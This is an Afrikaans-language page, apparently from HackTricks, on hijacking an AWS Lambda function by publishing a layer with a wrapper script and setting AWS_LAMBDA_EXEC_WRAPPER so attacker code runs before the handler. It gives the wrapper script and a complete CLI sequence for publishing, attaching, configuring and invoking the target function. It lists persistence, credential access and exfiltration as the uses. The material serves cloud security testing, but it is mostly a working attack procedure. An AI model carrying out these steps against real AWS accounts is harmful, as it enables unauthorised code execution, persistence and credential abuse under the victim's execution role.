# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)

{{#include ../../../../banners/hacktricks-training.md}}

## Opsomming

Misbruik die omgewingveranderlike `AWS_LAMBDA_EXEC_WRAPPER` om 'n aanvaller-gekontroleerde wrapper-skrip uit te voer voordat die runtime/handler begin. Lewer die wrapper via 'n Lambda Layer by `/opt/bin/htwrap`, stel `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, en roep dan die funksie aan. Die wrapper hardloop binne die funksie se runtime-proses, erf die funksie-uitvoeringsrol, en voer uiteindelik `exec` op die werklike runtime uit sodat die oorspronklike handler normaalweg voortgaan om te werk.

> [!WARNING]
> Hierdie tegniek gee kode-uitvoering in die teiken Lambda sonder om sy bronkode of rol te verander en sonder om `iam:PassRole` te benodig. Jy het slegs die vermoë nodig om die funksie-konfigurasie op te dateer en 'n layer te publiseer/te heg.

## Vereiste Toestemmings (aanvaller)

- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
- `lambda:InvokeFunction` (of deur 'n bestaande gebeurtenis te trigger)
- `lambda:ListFunctions`, `lambda:ListLayers`
- `lambda:PublishLayerVersion` (selfde rekening) en opsioneel `lambda:AddLayerVersionPermission` as 'n cross-account/public layer gebruik word

## Wrapper Skrip

Plaas die wrapper by `/opt/bin/htwrap` in die layer. Dit kan pre-handler logika uitvoer en moet eindig met `exec "$@"` om aan die werklike runtime te koppel.
```bash
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
```
## Aanvalstappe (CLI)

<details>
<summary>Publiseer laag, heg aan teikenfunksie, stel wrapper, roep aan</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>

# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)

# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")

echo "$LAYER_ARN"

# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"

# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done

# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
```
</details>

## Impak

- Pre-handler-kode-uitvoering in die Lambda runtime-konteks wat die funksie se bestaande uitvoeringsrol gebruik.
- Geen veranderinge aan die funksiekode of rol nodig nie; dit werk oor algemene beheerde runtimes (Python, Node.js, Java, .NET).
- Maak persistence, credential access (bv. STS), data exfiltration en runtime tampering moontlik voordat die handler begin.

{{#include ../../../../banners/hacktricks-training.md}}
